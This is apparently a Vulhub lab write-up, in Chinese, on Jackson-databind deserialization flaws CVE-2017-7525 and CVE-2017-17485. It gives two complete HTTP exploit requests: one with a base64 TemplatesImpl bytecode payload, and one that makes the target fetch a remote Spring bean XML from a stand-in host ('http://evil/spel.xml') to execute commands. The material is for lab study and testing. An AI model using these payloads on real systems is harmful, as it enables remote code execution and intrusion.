Jackson-databind 反序列化漏洞(CVE-2017-7525)
Jackson-databind 支持 Polymorphic Deserialization 特性(默認情況下不開啟),當 json 字符串轉換的 Target class 中有 polymorph fields,即字段類型為接口、抽象類或 Object 類型時,攻擊者可以通過在 json 字符串中指定變量的具體類型 (子類或接口實現類),來實現實例化指定的類,借助某些特殊的 class,如 TemplatesImpl,可以實現任意代碼執行。
所以,本漏洞利用條件如下:
開啟 JacksonPolymorphicDeserialization,即調用以下任意方法
objectMapper.enableDefaultTyping(); // default to using DefaultTyping.OBJECT_AND_NON_CONCRETE objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);Target class 需要有無參 constructor
Target class 中需要需要有字段類型為 Interface、abstract class、Object,并且使用的 Gadget 需要為其子類 / 實現接口
運行漏洞環境
docker-compose up -d
環境啟動后,Web運行在http://your-ip:8080/。
CVE-2017-7525
Jackson-databind 在設置 Target class 成員變量參數值時,若沒有對應的 getter 方法,則會使用 SetterlessProperty 調用 getter 方法,獲取變量,然后設置變量值。當調用 getOutputProperties() 方法時,會初始化 transletBytecodes 包含字節碼的類,導致命令執行,具體可參考 java-deserialization-jdk7u21-gadget-note 中關于 TemplatesImpl 的說明。
使用JDK7u21的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl作為Gadget,發送如下請求,將會執行touch /tmp/prove1.txt:
POST /exploit HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 1298
{
"param": [
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
{
"transletBytecodes": [
"yv66vgAAADMAKAoABAAUCQADABUHABYHABcBAAVwYXJhbQEAEkxqYXZhL2xhbmcvT2JqZWN0OwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAcTGNvbS9iMW5nei9zZWMvbW9kZWwvVGFyZ2V0OwEACGdldFBhcmFtAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAhzZXRQYXJhbQEAFShMamF2YS9sYW5nL09iamVjdDspVgEAClNvdXJjZUZpbGUBAAtUYXJnZXQuamF2YQwABwAIDAAFAAYBABpjb20vYjFuZ3ovc2VjL21vZGVsL1RhcmdldAEAEGphdmEvbGFuZy9PYmplY3QBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAZAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAGwAcCgAaAB0BABV0b3VjaCAvdG1wL3Byb3ZlMS50eHQIAB8BAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAhACIKABoAIwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACUKACYAFAAhAAMAJgAAAAEAAgAFAAYAAAAEAAEABwAIAAEACQAAAC8AAQABAAAABSq3ACexAAAAAgAKAAAABgABAAAABgALAAAADAABAAAABQAMAA0AAAABAA4ADwABAAkAAAAvAAEAAQAAAAUqtAACsAAAAAIACgAAAAYAAQAAAAoACwAAAAwAAQAAAAUADAANAAAAAQAQABEAAQAJAAAAPgACAAIAAAAGKiu1AAKxAAAAAgAKAAAACgACAAAADgAFAA8ACwAAABYAAgAAAAYADAANAAAAAAAGAAUABgABAAgAGAAIAAEACQAAABYAAgAAAAAACrgAHhIgtgAkV7EAAAAAAAEAEgAAAAIAEw=="
],
"transletName": "a.b",
"outputProperties": {}
}
]
}

這個POC只能運行在目標為JDK7u21以下的環境中,其他情況請更換Gadget。
CVE-2017-17485
CVE-2017-7525 黑名單修復 繞過,利用了 org.springframework.context.support.FileSystemXmlApplicationContext。
利用該漏洞,我們需要創建一個bean文件,放置在任意服務器上,如http://evil/spel.xml,內容如下:
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg>
<array>
<value>touch</value>
<value>/tmp/prove2.txt</value>
</array>
</constructor-arg>
<property name="any" value="#{ pb.start() }"/>
</bean>
</beans>
然后,發送如下數據包,使Jackson加載bean,觸發漏洞:
POST /exploit HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 138
{
"param": [
"org.springframework.context.support.FileSystemXmlApplicationContext",
"http://evil/spel.xml"
]
}
成功執行touch /tmp/prove2.txt:

原理: 利用 FileSystemXmlApplicationContext 加載遠程 bean 定義文件,創建 ProcessBuilder bean,并在 xml 文件中使用 Spring EL 來調用 start() 方法實現命令執行
Vulhub 文檔